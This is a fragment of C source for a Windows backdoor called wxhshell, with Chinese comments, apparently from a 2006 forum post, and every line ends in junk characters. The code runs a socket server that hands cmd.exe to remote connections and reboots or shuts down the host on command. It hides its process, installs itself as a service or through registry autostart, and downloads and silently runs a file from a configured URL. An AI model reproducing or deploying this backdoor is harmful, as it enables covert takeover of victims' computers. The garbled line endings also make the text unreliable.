  } M.|O+K z  
  else { 71`)@y,Z,  
mX))*e4k  
    switch(cmd[0]) { #DjSS.iW  
  M qq/k J  
  // 帮助 b4%sOn,  
  case '?': { u*:B 9E  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xgV. <^  
    break; Z,AF^,H[  
  } X5i?B b.  
  // 安装 `l+{jrRb<  
  case 'i': { @-y.Y}k#$~  
    if(Install()) kj_ o I5<'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  =`fJ  
    else -_&"Q4FR;+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  5,  
    break; ?K]Cs&E4  
    } 'J(rIH3U  
  // 卸载 $<R\|_6J  
  case 'r': { M6J~%qF^  
    if(Uninstall()) $g? ]9}p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :D(4HXHK%  
    else le1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h:{rjXK  
    break; <u>l#weG,  
    } {&Kck>C'  
  // 显示 wxhshell 所在路径 i?" ~g!A  
  case 'p': { ,e\'Y!'  
    char svExeFile[MAX_PATH]; .$nQD.X  
    strcpy(svExeFile,"\n\r"); zzlV((8 ~  
      strcat(svExeFile,ExeFile); A2 'W  
        send(wsh,svExeFile,strlen(svExeFile),0); :^~I@)"ov  
    break; +[386  
    } "b)Y5[nW  
  // 重启 vsc)EM ]  
  case 'b': { .f)&;Af^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [JI>e;l C:  
    if(Boot(REBOOT)) 1b*Me'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }pk)\^/w/  
    else { z|,YO6(L  
    closesocket(wsh); LLp/ SWe  
    ExitThread(0); /[ _aw&W}Z  
    } ^2C)Wk$  
    break; -1'O  
    } xZ'-G6O "~  
  // 关机 y(gL.08<  
  case 'd': { fyYHwG  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -E, d)O`;$  
    if(Boot(SHUTDOWN)) M\4pTcz{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SMX70T!'9  
    else { 3$x[{\ {  
    closesocket(wsh); Zj,1)ii  
    ExitThread(0); |C;8GSw>|F  
    } i=Nq`BoQf  
    break; &sh5|5EC  
    } M*XAyo4 fI  
  // 获取shell ^d2#J  
  case 's': { e5\/:HpI  
    CmdShell(wsh); kn2s,%\`<p  
    closesocket(wsh); KtTlc#*KU  
    ExitThread(0); bs_>!H1  
    break; 4^4<Le-G  
  } Udj!y$?  
  // 退出 fC6zDTis8A  
  case 'x': { z?T;2/_7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &<??,R14  
    CloseIt(wsh); ']Q4SB"q  
    break; !4"(>Rnw  
    } QH z3  
  // 离开 [4p~iGC  
  case 'q': { `6bIxb{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); e:W]B)0/e  
    closesocket(wsh); 0PfjD  
    WSACleanup(); B49: R >  
    exit(1); 6-"@j@l5<  
    break; Vr/UY79  
        } (2 nSZRB  
  } EI+RF{IKh  
  } Ep>} S  
\#)|6w-  
  // 提示信息 0v7#vZ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rV6&:\  
} :#_Ne?\a@  
  } H?]%b!gQG  
c5 ^CWk K  
  return; FM{^ND9x  
} AvP$>Alc  
3C[#_&_l  
// shell模块句柄 f\p#3IwwH  
int CmdShell(SOCKET sock) }%^N9AA8  
{ dWc'RwL  
STARTUPINFO si; R y47Fze  
ZeroMemory(&si,sizeof(si)); xxnvz  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Jcy{ ~>@7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; G5MoIC  
PROCESS_INFORMATION ProcessInfo; 6 &8uLM(z  
char cmdline[]="cmd"; g&E3Wc  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); I 68Y4s  
  return 0; hQWo ]WF(J  
} Mz59ac  
pW[KC!  
// 自身启动模式 [P:+n7= ,l  
int StartFromService(void) io&FW!J.  
{ JxP&znng  
typedef struct dG8_3T}i  
{ ww? AGd  
  DWORD ExitStatus; j\hI, mc  
  DWORD PebBaseAddress; d76nyQKK  
  DWORD AffinityMask; a:v5(@8  
  DWORD BasePriority; LE@<)}Au^  
  ULONG UniqueProcessId; QUQw/  
  ULONG InheritedFromUniqueProcessId; Am'%tw ~  
}   PROCESS_BASIC_INFORMATION; M6nQ17\{  
`[)!4Jb  
PROCNTQSIP NtQueryInformationProcess; _^%DfMP3i\  
-- >q=hlA  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U ;%cp  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; F<V.OFt  
2gasH11M  
  HANDLE             hProcess; C%RYQpY*c  
  PROCESS_BASIC_INFORMATION pbi; Q[n*ce7L0  
}Fq~!D Ee  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); f (Su  
  if(NULL == hInst ) return 0; e 48N[p  
R:+cumHr  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m;4qs#qCg?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); n^lr7(!6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); luWr.<1  
urbSprdF  
  if (!NtQueryInformationProcess) return 0; TCWt3\  
>%\&tS'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -I0J-~#  
  if(!hProcess) return 0; ;T\+TZtI  
Ndz'^c  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Q8H+=L:  
/R(]hmW  
  CloseHandle(hProcess); xY d]|y  
btR~LJb  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); UdOO+Z_K%  
if(hProcess==NULL) return 0; |Cm6RH$(  
o#K*-jOfiH  
HMODULE hMod; \[9^,Q P  
char procName[255]; # 4&t09  
unsigned long cbNeeded; 14pyHMOR  
vojXo|c  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); e"(SlR  
c5em*qCw$  
  CloseHandle(hProcess); |Vo{ {)  
VPr`[XPXb  
if(strstr(procName,"services")) return 1; // 以服务启动 11iV{ h  
Y*QoD9<T?;  
  return 0; // 注册表启动 wgUgNwd1  
} kNd(KQ<.17  
^wIg|Gc  
// 主模块 i5 0c N<o  
int StartWxhshell(LPSTR lpCmdLine) *S<d`mp[  
{ ZLZh$eZZ  
  SOCKET wsl; ;#?G2AAv  
BOOL val=TRUE; hiKyU! )Hv  
  int port=0; (fun,(R6"  
  struct sockaddr_in door; 6Z l#$>P  
?={S"qK(q  
  if(wscfg.ws_autoins) Install(); ZOBcV,K  
ipe8U1Sc  
port=atoi(lpCmdLine); Ya `$.D  
m:D0O]2  
if(port<=0) port=wscfg.ws_port; 6r.#/' "  
#LR.1zZ  
  WSADATA data; k`((6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Q~f mVWq  
Ge`PVwn  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   c6T[2Ig  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =D&XE*qkZ  
  door.sin_family = AF_INET; R>t?6HOcp  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Itz[%Dbiq9  
  door.sin_port = htons(port); YuUJgt .1  
wEF"'T  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { z"c,TlVN3  
closesocket(wsl); R > [2*o"  
return 1; VkkC;/BBW  
} Jsa]RA  
,4j^ lgJ  
  if(listen(wsl,2) == INVALID_SOCKET) { E?0Vo%Vh  
closesocket(wsl); O2:1aG  
return 1; %i) 0sE T  
} BJgHel+N  
  Wxhshell(wsl); +bGO"*  
  WSACleanup(); PjP6^"  
\1O wZ@  
return 0; t"Bp # U1  
`&:>?Y/X2  
} SyI\ulmL  
QM24cm T  
// 以NT服务方式启动 ?PYZW5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5\Rg%Ezl  
{ C]Q`!e  
DWORD   status = 0; t$&'mJ_-w  
  DWORD   specificError = 0xfffffff; zZW5M^z8  
0g2rajS  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \UP=pT@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2fgYcQ8`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Zb7%$1)L~  
  serviceStatus.dwWin32ExitCode     = 0; vScEQS$>  
  serviceStatus.dwServiceSpecificExitCode = 0; n/{ pQ&B  
  serviceStatus.dwCheckPoint       = 0; V aoqI  
  serviceStatus.dwWaitHint       = 0; ,A5}HRW%  
i#aKW'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); o)GesgxFa5  
  if (hServiceStatusHandle==0) return; #w@FBFr@  
|\Q2L;4C  
status = GetLastError(); {PkR6.XhR  
  if (status!=NO_ERROR) q|}O-A*wa  
{ <TTBIXV  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; EbeSl+iMx_  
    serviceStatus.dwCheckPoint       = 0; DX^8w?t  
    serviceStatus.dwWaitHint       = 0; Xf[;^?]X  
    serviceStatus.dwWin32ExitCode     = status; r PTfwhs  
    serviceStatus.dwServiceSpecificExitCode = specificError; $Xh5N3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z2 Vri  
    return; `An p;el  
  } !+z&] S3s  
D~FIv  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Y>T<Qn^D  
  serviceStatus.dwCheckPoint       = 0; ::_bEmk  
  serviceStatus.dwWaitHint       = 0; J/QqwoR  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2tg07  
} QnJLTBv  
kRr/x-"  
// 处理NT服务事件,比如:启动、停止 (-],VB (+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) r0@s3/  
{ K^",LCJA  
switch(fdwControl) 86eaX+F  
{ 5|7<ZL 3  
case SERVICE_CONTROL_STOP: G?,"AA;  
  serviceStatus.dwWin32ExitCode = 0; !*3]PZ25a(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; H|$ *HQm  
  serviceStatus.dwCheckPoint   = 0; GO.7IL{ {  
  serviceStatus.dwWaitHint     = 0; KG4zjQf  
  { vw$b]MO!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nly}ly Q/  
  } 9f/l"  
  return; Z&4L///  
case SERVICE_CONTROL_PAUSE: w5yX~8UzJ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0|]d^bo  
  break; LqXVi80  
case SERVICE_CONTROL_CONTINUE: `t\\O  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; AiL80W^=d)  
  break; iJeo d fC  
case SERVICE_CONTROL_INTERROGATE: s)?GscPG!  
  break; /6F\]JwU  
}; 7[mP@ {  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /bn$@Cy@  
} F2MC)&#  
4\ |/S@.  
// 标准应用程序主函数 z7z9lDS  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,@fx[5{  
{ } ,^p{J/  
t>OEzUd9  
// 获取操作系统版本 vL;>A]oM2  
OsIsNt=GetOsVer(); VT-%o7%N  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Dc* H:x;  
c^cr_ i  
  // 从命令行安装 `Z#':0Z  
  if(strpbrk(lpCmdLine,"iI")) Install(); /MMnW$)  
#C'E'g0  
  // 下载执行文件 *VH Wvj  
if(wscfg.ws_downexe) { A^$xE6t  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >JA>np  
  WinExec(wscfg.ws_filenam,SW_HIDE); ujl ?!  
} vRn]u57O  
M]M>z>1*v  
if(!OsIsNt) { y\4/M6  
// 如果时win9x,隐藏进程并且设置为注册表启动 7SN61)[m  
HideProc(); acar-11_o/  
StartWxhshell(lpCmdLine); L0I |V[  
} <CJy3<$u  
else "',;pGg|K  
  if(StartFromService()) 7KGb2V<t  
  // 以服务方式启动 $-|$4lrS  
  StartServiceCtrlDispatcher(DispatchTable); {2QP6XsJ  
else [$ uKI,l  
  // 普通方式启动 k7{|\w%  
  StartWxhshell(lpCmdLine); c<lEFk!g  
_mk@1ft  
return 0; vC^{,?@  
}
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只看该作者 1 发表于: 2006-10-10
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